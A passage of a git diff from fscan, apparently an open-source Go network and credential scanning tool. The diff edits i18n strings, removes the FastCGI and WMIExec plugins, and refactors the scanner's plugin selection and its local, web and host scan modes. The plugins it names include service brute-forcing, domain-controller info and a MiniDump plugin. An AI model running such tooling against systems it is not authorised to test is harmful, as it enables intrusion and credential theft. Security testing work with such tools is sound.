@ -638,13 +626,6 @@ var i18nMap = map[string]map[string]string{
|
|||||||
LangRU: "Отключить цветной вывод",
|
LangRU: "Отключить цветной вывод",
|
||||||
},
|
},
|
||||||
|
|
||||||
"flag_json_format": {
|
|
||||||
LangZH: "以JSON格式输出结果",
|
|
||||||
LangEN: "Output results in JSON format",
|
|
||||||
LangJA: "結果をJSON形式で出力",
|
|
||||||
LangRU: "Вывести результаты в формате JSON",
|
|
||||||
},
|
|
||||||
|
|
||||||
"flag_log_level": {
|
"flag_log_level": {
|
||||||
LangZH: "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)",
|
LangZH: "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)",
|
||||||
LangEN: "Log output level (ALL/SUCCESS/ERROR/INFO/DEBUG)",
|
LangEN: "Log output level (ALL/SUCCESS/ERROR/INFO/DEBUG)",
|
||||||
@ -658,6 +639,21 @@ var i18nMap = map[string]map[string]string{
|
|||||||
LangJA: "プログレスバー表示を有効化",
|
LangJA: "プログレスバー表示を有効化",
|
||||||
LangRU: "Включить отображение индикатора выполнения",
|
LangRU: "Включить отображение индикатора выполнения",
|
||||||
},
|
},
|
||||||
|
|
||||||
|
"flag_show_scan_plan": {
|
||||||
|
LangZH: "显示扫描计划详情",
|
||||||
|
LangEN: "Show scan plan details",
|
||||||
|
LangJA: "スキャン計画の詳細を表示する",
|
||||||
|
LangRU: "Показать детали плана сканирования",
|
||||||
|
},
|
||||||
|
|
||||||
|
"flag_slow_log_output": {
|
||||||
|
LangZH: "启用慢速日志输出,便于肉眼观察",
|
||||||
|
LangEN: "Enable slow log output for better visual observation",
|
||||||
|
LangJA: "目視観察のための低速ログ出力を有効にする",
|
||||||
|
LangRU: "Включить медленный вывод журнала для лучшего визуального наблюдения",
|
||||||
|
},
|
||||||
|
|
||||||
"no_username_specified": {
|
"no_username_specified": {
|
||||||
LangZH: "加载用户名: %d 个",
|
LangZH: "加载用户名: %d 个",
|
||||||
LangEN: "Loaded usernames: %d",
|
LangEN: "Loaded usernames: %d",
|
||||||
@ -754,12 +750,7 @@ var i18nMap = map[string]map[string]string{
|
|||||||
LangJA: "パラメータ -h、-u、-local は同時に使用できません",
|
LangJA: "パラメータ -h、-u、-local は同時に使用できません",
|
||||||
LangRU: "Параметры -h, -u, -local нельзя использовать одновременно",
|
LangRU: "Параметры -h, -u, -local нельзя использовать одновременно",
|
||||||
},
|
},
|
||||||
//"brute_threads": {
|
|
||||||
// LangZH: "暴力破解线程数: %d",
|
|
||||||
// LangEN: "Brute force threads: %d",
|
|
||||||
// LangJA: "ブルートフォーススレッド数: %d",
|
|
||||||
// LangRU: "Потоков для брутфорса: %d",
|
|
||||||
//},
|
|
||||||
"extra_ports": {
|
"extra_ports": {
|
||||||
LangZH: "额外端口: %s",
|
LangZH: "额外端口: %s",
|
||||||
LangEN: "Extra ports: %s",
|
LangEN: "Extra ports: %s",
|
||||||
@ -999,42 +990,6 @@ var i18nMap = map[string]map[string]string{
|
|||||||
LangJA: "有効なポート数: %d",
|
LangJA: "有効なポート数: %d",
|
||||||
LangRU: "Количество действительных портов: %d",
|
LangRU: "Количество действительных портов: %d",
|
||||||
},
|
},
|
||||||
"parse_scan_mode": {
|
|
||||||
LangZH: "解析扫描模式: %s",
|
|
||||||
LangEN: "Parse scan mode: %s",
|
|
||||||
LangJA: "スキャンモードを解析: %s",
|
|
||||||
LangRU: "Разбор режима сканирования: %s",
|
|
||||||
},
|
|
||||||
"using_preset_mode": {
|
|
||||||
LangZH: "使用预设模式: %s",
|
|
||||||
LangEN: "Using preset mode: %s",
|
|
||||||
LangJA: "プリセットモードを使用: %s",
|
|
||||||
LangRU: "Использование предустановленного режима: %s",
|
|
||||||
},
|
|
||||||
"using_preset_mode_plugins": {
|
|
||||||
LangZH: "使用预设模式: %s, 包含插件: %v",
|
|
||||||
LangEN: "Using preset mode: %s, included plugins: %v",
|
|
||||||
LangJA: "プリセットモードを使用: %s, 含まれるプラグイン: %v",
|
|
||||||
LangRU: "Использование предустановленного режима: %s, включенные плагины: %v",
|
|
||||||
},
|
|
||||||
"using_single_plugin": {
|
|
||||||
LangZH: "使用单个插件: %s",
|
|
||||||
LangEN: "Using single plugin: %s",
|
|
||||||
LangJA: "単一のプラグインを使用: %s",
|
|
||||||
LangRU: "Использование одного плагина: %s",
|
|
||||||
},
|
|
||||||
"using_default_mode": {
|
|
||||||
LangZH: "未识别的模式,使用默认模式: %s",
|
|
||||||
LangEN: "Unrecognized mode, using default mode: %s",
|
|
||||||
LangJA: "認識できないモード、デフォルトモードを使用: %s",
|
|
||||||
LangRU: "Нераспознанный режим, использование режима по умолчанию: %s",
|
|
||||||
},
|
|
||||||
"included_plugins": {
|
|
||||||
LangZH: "包含插件: %v",
|
|
||||||
LangEN: "Included plugins: %v",
|
|
||||||
LangJA: "含まれるプラグイン: %v",
|
|
||||||
LangRU: "Включенные плагины: %v",
|
|
||||||
},
|
|
||||||
"tcp_conn_failed": {
|
"tcp_conn_failed": {
|
||||||
LangZH: "建立TCP连接失败: %v",
|
LangZH: "建立TCP连接失败: %v",
|
||||||
LangEN: "Failed to establish TCP connection: %v",
|
LangEN: "Failed to establish TCP connection: %v",
|
||||||
|
@ -141,7 +141,7 @@ func PortConnect(addr Addr, results chan<- ScanResult, timeout int64, wg *sync.W
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 执行服务识别
|
// 执行服务识别
|
||||||
if !Common.SkipFingerprint && conn != nil {
|
if Common.EnableFingerprint && conn != nil {
|
||||||
scanner := NewPortInfoScanner(addr.ip, addr.port, conn, time.Duration(timeout)*time.Second)
|
scanner := NewPortInfoScanner(addr.ip, addr.port, conn, time.Duration(timeout)*time.Second)
|
||||||
if serviceInfo, err := scanner.Identify(); err == nil {
|
if serviceInfo, err := scanner.Identify(); err == nil {
|
||||||
result.Service = serviceInfo
|
result.Service = serviceInfo
|
||||||
|
@ -3,6 +3,7 @@ package Core
|
|||||||
import (
|
import (
|
||||||
"github.com/shadow1ng/fscan/Common"
|
"github.com/shadow1ng/fscan/Common"
|
||||||
"github.com/shadow1ng/fscan/Plugins"
|
"github.com/shadow1ng/fscan/Plugins"
|
||||||
|
"sort"
|
||||||
)
|
)
|
||||||
|
|
||||||
// init 初始化并注册所有扫描插件
|
// init 初始化并注册所有扫描插件
|
||||||
@ -176,12 +177,6 @@ func init() {
|
|||||||
ScanFunc: Plugins.RedisScan,
|
ScanFunc: Plugins.RedisScan,
|
||||||
})
|
})
|
||||||
|
|
||||||
Common.RegisterPlugin("fcgi", Common.ScanPlugin{
|
|
||||||
Name: "FastCGI",
|
|
||||||
Ports: []int{9000},
|
|
||||||
ScanFunc: Plugins.FcgiScan,
|
|
||||||
})
|
|
||||||
|
|
||||||
Common.RegisterPlugin("memcached", Common.ScanPlugin{
|
Common.RegisterPlugin("memcached", Common.ScanPlugin{
|
||||||
Name: "Memcached",
|
Name: "Memcached",
|
||||||
Ports: []int{11211},
|
Ports: []int{11211},
|
||||||
@ -227,12 +222,6 @@ func init() {
|
|||||||
ScanFunc: Plugins.SmbScan2,
|
ScanFunc: Plugins.SmbScan2,
|
||||||
})
|
})
|
||||||
|
|
||||||
Common.RegisterPlugin("wmiexec", Common.ScanPlugin{
|
|
||||||
Name: "WMIExec",
|
|
||||||
Ports: []int{135},
|
|
||||||
ScanFunc: Plugins.WmiExec,
|
|
||||||
})
|
|
||||||
|
|
||||||
// 5. 本地信息收集插件
|
// 5. 本地信息收集插件
|
||||||
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
|
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
|
||||||
Name: "LocalInfo",
|
Name: "LocalInfo",
|
||||||
@ -252,3 +241,19 @@ func init() {
|
|||||||
ScanFunc: Plugins.MiniDump,
|
ScanFunc: Plugins.MiniDump,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetAllPlugins 返回所有已注册插件的名称列表
|
||||||
|
// 当用户未指定特定插件或使用"All"模式时使用
|
||||||
|
func GetAllPlugins() []string {
|
||||||
|
pluginNames := make([]string, 0, len(Common.PluginManager))
|
||||||
|
|
||||||
|
// 遍历插件管理器,获取所有插件名称
|
||||||
|
for name := range Common.PluginManager {
|
||||||
|
pluginNames = append(pluginNames, name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 对插件名称进行排序,使输出更加一致
|
||||||
|
sort.Strings(pluginNames)
|
||||||
|
|
||||||
|
return pluginNames
|
||||||
|
}
|
||||||
|
719
Core/Scanner.go
719
Core/Scanner.go
@ -13,115 +13,112 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// 全局变量定义
|
// 全局状态
|
||||||
var (
|
var (
|
||||||
LocalScan bool // 本地扫描模式标识
|
LocalScan bool // 本地扫描模式标识
|
||||||
WebScan bool // Web扫描模式标识
|
WebScan bool // Web扫描模式标识
|
||||||
|
Mutex = &sync.Mutex{} // 用于保护共享资源
|
||||||
)
|
)
|
||||||
|
|
||||||
// Scan 执行扫描主流程
|
// ScanTask 表示单个扫描任务
|
||||||
// info: 主机信息结构体,包含扫描目标的基本信息
|
type ScanTask struct {
|
||||||
|
pluginName string // 插件名称
|
||||||
|
target Common.HostInfo // 目标信息
|
||||||
|
}
|
||||||
|
|
||||||
|
// 添加一个本地插件集合,用于识别哪些插件是本地信息收集插件
|
||||||
|
var localPlugins = map[string]bool{
|
||||||
|
"localinfo": true,
|
||||||
|
"dcinfo": true,
|
||||||
|
"minidump": true,
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------------
|
||||||
|
// 主扫描流程
|
||||||
|
// -----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// Scan 执行整体扫描流程的入口函数
|
||||||
func Scan(info Common.HostInfo) {
|
func Scan(info Common.HostInfo) {
|
||||||
Common.LogInfo("开始信息扫描")
|
Common.LogInfo("开始信息扫描")
|
||||||
|
|
||||||
// 初始化HTTP客户端配置
|
|
||||||
lib.Inithttp()
|
lib.Inithttp()
|
||||||
|
|
||||||
// 初始化并发控制
|
// 并发控制初始化
|
||||||
ch := make(chan struct{}, Common.ThreadNum)
|
ch := make(chan struct{}, Common.ThreadNum)
|
||||||
wg := sync.WaitGroup{}
|
wg := sync.WaitGroup{}
|
||||||
|
|
||||||
// 根据扫描模式执行不同的扫描策略
|
// 选择并执行扫描模式
|
||||||
switch {
|
selectScanMode(info, &ch, &wg)
|
||||||
case Common.LocalMode:
|
|
||||||
// 本地信息收集模式
|
|
||||||
LocalScan = true
|
|
||||||
executeLocalScan(info, &ch, &wg)
|
|
||||||
case len(Common.URLs) > 0:
|
|
||||||
// Web扫描模式
|
|
||||||
WebScan = true
|
|
||||||
executeWebScan(info, &ch, &wg)
|
|
||||||
default:
|
|
||||||
// 主机扫描模式
|
|
||||||
executeHostScan(info, &ch, &wg)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 等待所有扫描任务完成
|
// 等待所有扫描完成
|
||||||
finishScan(&wg)
|
wg.Wait()
|
||||||
|
finishScan()
|
||||||
}
|
}
|
||||||
|
|
||||||
// executeLocalScan 执行本地扫描
|
// 根据配置选择扫描模式
|
||||||
// info: 主机信息
|
func selectScanMode(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
// ch: 并发控制通道
|
switch {
|
||||||
// wg: 等待组
|
case Common.LocalMode:
|
||||||
|
LocalScan = true
|
||||||
|
executeLocalScan(info, ch, wg)
|
||||||
|
case len(Common.URLs) > 0:
|
||||||
|
WebScan = true
|
||||||
|
executeWebScan(info, ch, wg)
|
||||||
|
default:
|
||||||
|
executeHostScan(info, ch, wg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 完成扫描并输出结果
|
||||||
|
func finishScan() {
|
||||||
|
if Common.ProgressBar != nil {
|
||||||
|
Common.ProgressBar.Finish()
|
||||||
|
fmt.Println()
|
||||||
|
}
|
||||||
|
Common.LogSuccess(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------------
|
||||||
|
// 三种扫描模式实现
|
||||||
|
// -----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// 执行本地信息收集
|
||||||
func executeLocalScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
func executeLocalScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
Common.LogInfo("执行本地信息收集")
|
Common.LogInfo("执行本地信息收集")
|
||||||
|
|
||||||
// 获取本地模式支持的插件列表
|
// 验证插件配置
|
||||||
validLocalPlugins := getValidPlugins(Common.ModeLocal)
|
if err := validateScanPlugins(); err != nil {
|
||||||
|
|
||||||
// 验证扫描模式的合法性
|
|
||||||
if err := validateScanMode(validLocalPlugins, Common.ModeLocal); err != nil {
|
|
||||||
Common.LogError(err.Error())
|
Common.LogError(err.Error())
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 输出使用的插件信息
|
// 输出插件信息
|
||||||
if Common.ScanMode == Common.ModeLocal {
|
logPluginInfo()
|
||||||
Common.LogInfo("使用全部本地插件")
|
|
||||||
Common.ParseScanMode(Common.ScanMode)
|
|
||||||
} else {
|
|
||||||
Common.LogInfo(fmt.Sprintf("使用插件: %s", Common.ScanMode))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 执行扫描任务
|
// 执行扫描任务
|
||||||
executeScans([]Common.HostInfo{info}, ch, wg)
|
executeScanTasks([]Common.HostInfo{info}, ch, wg)
|
||||||
}
|
}
|
||||||
|
|
||||||
// executeWebScan 执行Web扫描
|
// 执行Web扫描
|
||||||
// info: 主机信息
|
|
||||||
// ch: 并发控制通道
|
|
||||||
// wg: 等待组
|
|
||||||
func executeWebScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
func executeWebScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
Common.LogInfo("开始Web扫描")
|
Common.LogInfo("开始Web扫描")
|
||||||
|
|
||||||
// 获取Web模式支持的插件列表
|
// 验证插件配置
|
||||||
validWebPlugins := getValidPlugins(Common.ModeWeb)
|
if err := validateScanPlugins(); err != nil {
|
||||||
|
|
||||||
// 验证扫描模式的合法性
|
|
||||||
if err := validateScanMode(validWebPlugins, Common.ModeWeb); err != nil {
|
|
||||||
Common.LogError(err.Error())
|
Common.LogError(err.Error())
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理目标URL列表
|
// 准备URL目标
|
||||||
var targetInfos []Common.HostInfo
|
targetInfos := prepareURLTargets(info)
|
||||||
for _, url := range Common.URLs {
|
|
||||||
urlInfo := info
|
|
||||||
// 确保URL包含协议头
|
|
||||||
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
|
|
||||||
url = "http://" + url
|
|
||||||
}
|
|
||||||
urlInfo.Url = url
|
|
||||||
targetInfos = append(targetInfos, urlInfo)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 输出使用的插件信息
|
// 输出插件信息
|
||||||
if Common.ScanMode == Common.ModeWeb {
|
logPluginInfo()
|
||||||
Common.LogInfo("使用全部Web插件")
|
|
||||||
Common.ParseScanMode(Common.ScanMode)
|
|
||||||
} else {
|
|
||||||
Common.LogInfo(fmt.Sprintf("使用插件: %s", Common.ScanMode))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 执行扫描任务
|
// 执行扫描任务
|
||||||
executeScans(targetInfos, ch, wg)
|
executeScanTasks(targetInfos, ch, wg)
|
||||||
}
|
}
|
||||||
|
|
||||||
// executeHostScan 执行主机扫描
|
// 执行主机扫描
|
||||||
// info: 主机信息
|
|
||||||
// ch: 并发控制通道
|
|
||||||
// wg: 等待组
|
|
||||||
func executeHostScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
func executeHostScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
// 验证扫描目标
|
// 验证扫描目标
|
||||||
if info.Host == "" {
|
if info.Host == "" {
|
||||||
@ -129,6 +126,12 @@ func executeHostScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 验证插件配置
|
||||||
|
if err := validateScanPlugins(); err != nil {
|
||||||
|
Common.LogError(err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
// 解析目标主机
|
// 解析目标主机
|
||||||
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
|
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@ -137,91 +140,71 @@ func executeHostScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup
|
|||||||
}
|
}
|
||||||
|
|
||||||
Common.LogInfo("开始主机扫描")
|
Common.LogInfo("开始主机扫描")
|
||||||
executeScan(hosts, info, ch, wg)
|
|
||||||
|
// 输出插件信息
|
||||||
|
logPluginInfo()
|
||||||
|
|
||||||
|
// 执行主机扫描
|
||||||
|
performHostScan(hosts, info, ch, wg)
|
||||||
}
|
}
|
||||||
|
|
||||||
// getValidPlugins 获取指定模式下的有效插件列表
|
// -----------------------------------------------------------------------------
|
||||||
// mode: 扫描模式
|
// 主机扫描流程详细实现
|
||||||
// 返回: 有效插件映射表
|
// -----------------------------------------------------------------------------
|
||||||
func getValidPlugins(mode string) map[string]bool {
|
|
||||||
validPlugins := make(map[string]bool)
|
|
||||||
for _, plugin := range Common.PluginGroups[mode] {
|
|
||||||
validPlugins[plugin] = true
|
|
||||||
}
|
|
||||||
return validPlugins
|
|
||||||
}
|
|
||||||
|
|
||||||
// validateScanMode 验证扫描模式的合法性
|
// 执行主机扫描的完整流程
|
||||||
// validPlugins: 有效插件列表
|
func performHostScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
// mode: 扫描模式
|
|
||||||
// 返回: 错误信息
|
|
||||||
func validateScanMode(validPlugins map[string]bool, mode string) error {
|
|
||||||
if Common.ScanMode == "" || Common.ScanMode == "All" {
|
|
||||||
Common.ScanMode = mode
|
|
||||||
} else if _, exists := validPlugins[Common.ScanMode]; !exists {
|
|
||||||
return fmt.Errorf("无效的%s插件: %s", mode, Common.ScanMode)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// executeScan 执行主扫描流程
|
|
||||||
// hosts: 目标主机列表
|
|
||||||
// info: 主机信息
|
|
||||||
// ch: 并发控制通道
|
|
||||||
// wg: 等待组
|
|
||||||
func executeScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
|
||||||
var targetInfos []Common.HostInfo
|
var targetInfos []Common.HostInfo
|
||||||
|
|
||||||
// 处理主机和端口扫描
|
// 主机存活性检测和端口扫描
|
||||||
if len(hosts) > 0 || len(Common.HostPort) > 0 {
|
if len(hosts) > 0 || len(Common.HostPort) > 0 {
|
||||||
// 检查主机存活性
|
// 主机存活检测
|
||||||
if shouldPingScan(hosts) {
|
if shouldPerformLivenessCheck(hosts) {
|
||||||
hosts = CheckLive(hosts, Common.UsePing)
|
hosts = CheckLive(hosts, Common.UsePing)
|
||||||
Common.LogInfo(fmt.Sprintf("存活主机数量: %d", len(hosts)))
|
Common.LogInfo(fmt.Sprintf("存活主机数量: %d", len(hosts)))
|
||||||
if Common.IsICMPScan() {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取存活端口
|
// 端口扫描
|
||||||
alivePorts := getAlivePorts(hosts)
|
targetInfos = scanPortsAndPrepareTargets(hosts, info)
|
||||||
if len(alivePorts) > 0 {
|
|
||||||
targetInfos = prepareTargetInfos(alivePorts, info)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 添加URL扫描目标
|
// 添加URL目标
|
||||||
targetInfos = appendURLTargets(targetInfos, info)
|
targetInfos = appendURLTargets(targetInfos, info)
|
||||||
|
|
||||||
// 执行漏洞扫描
|
// 执行漏洞扫描
|
||||||
if len(targetInfos) > 0 {
|
if len(targetInfos) > 0 {
|
||||||
Common.LogInfo("开始漏洞扫描")
|
Common.LogInfo("开始漏洞扫描")
|
||||||
executeScans(targetInfos, ch, wg)
|
executeScanTasks(targetInfos, ch, wg)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// shouldPingScan 判断是否需要执行ping扫描
|
// 判断是否需要执行存活性检测
|
||||||
// hosts: 目标主机列表
|
func shouldPerformLivenessCheck(hosts []string) bool {
|
||||||
// 返回: 是否需要ping扫描
|
return Common.DisablePing == false && len(hosts) > 1
|
||||||
func shouldPingScan(hosts []string) bool {
|
|
||||||
return (Common.DisablePing == false && len(hosts) > 1) || Common.IsICMPScan()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// getAlivePorts 获取存活端口列表
|
// 扫描端口并准备目标信息
|
||||||
// hosts: 目标主机列表
|
func scanPortsAndPrepareTargets(hosts []string, info Common.HostInfo) []Common.HostInfo {
|
||||||
// 返回: 存活端口列表
|
// 扫描存活端口
|
||||||
func getAlivePorts(hosts []string) []string {
|
alivePorts := discoverAlivePorts(hosts)
|
||||||
|
if len(alivePorts) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 转换为目标信息
|
||||||
|
return convertToTargetInfos(alivePorts, info)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发现存活的端口
|
||||||
|
func discoverAlivePorts(hosts []string) []string {
|
||||||
var alivePorts []string
|
var alivePorts []string
|
||||||
|
|
||||||
// 根据扫描模式选择端口扫描方式
|
// 根据扫描模式选择端口扫描方式
|
||||||
if Common.IsWebScan() {
|
if WebScan || len(Common.URLs) > 0 {
|
||||||
alivePorts = NoPortScan(hosts, Common.Ports)
|
alivePorts = NoPortScan(hosts, Common.Ports)
|
||||||
} else if len(hosts) > 0 {
|
} else if len(hosts) > 0 {
|
||||||
alivePorts = PortScan(hosts, Common.Ports, Common.Timeout)
|
alivePorts = PortScan(hosts, Common.Ports, Common.Timeout)
|
||||||
Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
|
Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
|
||||||
if Common.IsPortScan() {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 合并额外指定的端口
|
// 合并额外指定的端口
|
||||||
@ -235,10 +218,230 @@ func getAlivePorts(hosts []string) []string {
|
|||||||
return alivePorts
|
return alivePorts
|
||||||
}
|
}
|
||||||
|
|
||||||
// appendURLTargets 添加URL扫描目标
|
// -----------------------------------------------------------------------------
|
||||||
// targetInfos: 现有目标列表
|
// 插件管理和解析
|
||||||
// baseInfo: 基础主机信息
|
// -----------------------------------------------------------------------------
|
||||||
// 返回: 更新后的目标列表
|
|
||||||
|
// getAllLocalPlugins 返回所有本地插件的名称列表
|
||||||
|
func getAllLocalPlugins() []string {
|
||||||
|
var localPluginList []string
|
||||||
|
for plugin := range localPlugins {
|
||||||
|
localPluginList = append(localPluginList, plugin)
|
||||||
|
}
|
||||||
|
sort.Strings(localPluginList)
|
||||||
|
return localPluginList
|
||||||
|
}
|
||||||
|
|
||||||
|
// parsePluginList 解析逗号分隔的插件列表
|
||||||
|
// pluginStr: 逗号分隔的插件字符串,如 "ssh,ftp,telnet"
|
||||||
|
// 返回: 插件名称的字符串切片
|
||||||
|
func parsePluginList(pluginStr string) []string {
|
||||||
|
if pluginStr == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 按逗号分割并去除每个插件名称两端的空白
|
||||||
|
plugins := strings.Split(pluginStr, ",")
|
||||||
|
for i, p := range plugins {
|
||||||
|
plugins[i] = strings.TrimSpace(p)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 过滤空字符串
|
||||||
|
var result []string
|
||||||
|
for _, p := range plugins {
|
||||||
|
if p != "" {
|
||||||
|
result = append(result, p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// validateScanPlugins 验证扫描插件的有效性
|
||||||
|
// 返回: 错误信息
|
||||||
|
func validateScanPlugins() error {
|
||||||
|
// 如果未指定扫描模式或使用All模式,则无需验证
|
||||||
|
if Common.ScanMode == "" || Common.ScanMode == "All" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析插件列表
|
||||||
|
plugins := parsePluginList(Common.ScanMode)
|
||||||
|
if len(plugins) == 0 {
|
||||||
|
plugins = []string{Common.ScanMode}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证每个插件是否有效
|
||||||
|
var invalidPlugins []string
|
||||||
|
for _, plugin := range plugins {
|
||||||
|
if _, exists := Common.PluginManager[plugin]; !exists {
|
||||||
|
invalidPlugins = append(invalidPlugins, plugin)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(invalidPlugins) > 0 {
|
||||||
|
return fmt.Errorf("无效的插件: %s", strings.Join(invalidPlugins, ", "))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果是本地模式,验证是否包含非本地插件
|
||||||
|
if Common.LocalMode {
|
||||||
|
var nonLocalPlugins []string
|
||||||
|
for _, plugin := range plugins {
|
||||||
|
if !isLocalPlugin(plugin) {
|
||||||
|
nonLocalPlugins = append(nonLocalPlugins, plugin)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(nonLocalPlugins) > 0 {
|
||||||
|
Common.LogInfo(fmt.Sprintf("本地模式下,以下非本地插件将被忽略: %s", strings.Join(nonLocalPlugins, ", ")))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// isLocalPlugin 判断插件是否为本地信息收集插件
|
||||||
|
func isLocalPlugin(pluginName string) bool {
|
||||||
|
return localPlugins[pluginName]
|
||||||
|
}
|
||||||
|
|
||||||
|
// getPluginsToRun 获取要执行的插件列表
|
||||||
|
// 返回: 插件列表和是否为自定义插件模式
|
||||||
|
func getPluginsToRun() ([]string, bool) {
|
||||||
|
// 本地模式处理
|
||||||
|
if Common.LocalMode {
|
||||||
|
// 在本地模式下只执行本地插件
|
||||||
|
|
||||||
|
// 如果指定了特定插件(单个或多个)
|
||||||
|
if Common.ScanMode != "" && Common.ScanMode != "All" {
|
||||||
|
requestedPlugins := parsePluginList(Common.ScanMode)
|
||||||
|
if len(requestedPlugins) == 0 {
|
||||||
|
requestedPlugins = []string{Common.ScanMode}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 过滤出本地插件
|
||||||
|
var localPluginsToRun []string
|
||||||
|
for _, plugin := range requestedPlugins {
|
||||||
|
if isLocalPlugin(plugin) {
|
||||||
|
localPluginsToRun = append(localPluginsToRun, plugin)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return localPluginsToRun, true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果是All模式或未指定,则返回所有本地插件
|
||||||
|
return getAllLocalPlugins(), true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 非本地模式处理(保持原有行为)
|
||||||
|
// 如果指定了插件列表(逗号分隔)
|
||||||
|
if Common.ScanMode != "" && Common.ScanMode != "All" {
|
||||||
|
plugins := parsePluginList(Common.ScanMode)
|
||||||
|
if len(plugins) > 0 {
|
||||||
|
return plugins, true
|
||||||
|
}
|
||||||
|
return []string{Common.ScanMode}, true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 默认情况:使用所有非本地插件
|
||||||
|
allPlugins := GetAllPlugins()
|
||||||
|
filteredPlugins := make([]string, 0, len(allPlugins))
|
||||||
|
|
||||||
|
for _, plugin := range allPlugins {
|
||||||
|
if !isLocalPlugin(plugin) {
|
||||||
|
filteredPlugins = append(filteredPlugins, plugin)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return filteredPlugins, false
|
||||||
|
}
|
||||||
|
|
||||||
|
// logPluginInfo 输出插件信息
|
||||||
|
func logPluginInfo() {
|
||||||
|
if Common.LocalMode {
|
||||||
|
if Common.ScanMode == "" || Common.ScanMode == "All" {
|
||||||
|
Common.LogInfo("本地模式: 使用所有本地信息收集插件")
|
||||||
|
} else {
|
||||||
|
plugins := parsePluginList(Common.ScanMode)
|
||||||
|
if len(plugins) == 0 {
|
||||||
|
plugins = []string{Common.ScanMode}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 过滤出本地插件
|
||||||
|
var localPluginsToRun []string
|
||||||
|
for _, plugin := range plugins {
|
||||||
|
if isLocalPlugin(plugin) {
|
||||||
|
localPluginsToRun = append(localPluginsToRun, plugin)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(localPluginsToRun) > 1 {
|
||||||
|
Common.LogInfo(fmt.Sprintf("本地模式: 使用本地插件: %s", strings.Join(localPluginsToRun, ", ")))
|
||||||
|
} else if len(localPluginsToRun) == 1 {
|
||||||
|
Common.LogInfo(fmt.Sprintf("本地模式: 使用本地插件: %s", localPluginsToRun[0]))
|
||||||
|
} else {
|
||||||
|
Common.LogInfo("本地模式: 未指定有效的本地插件,将不执行任何扫描")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 非本地模式的原有逻辑
|
||||||
|
if Common.ScanMode == "" || Common.ScanMode == "All" {
|
||||||
|
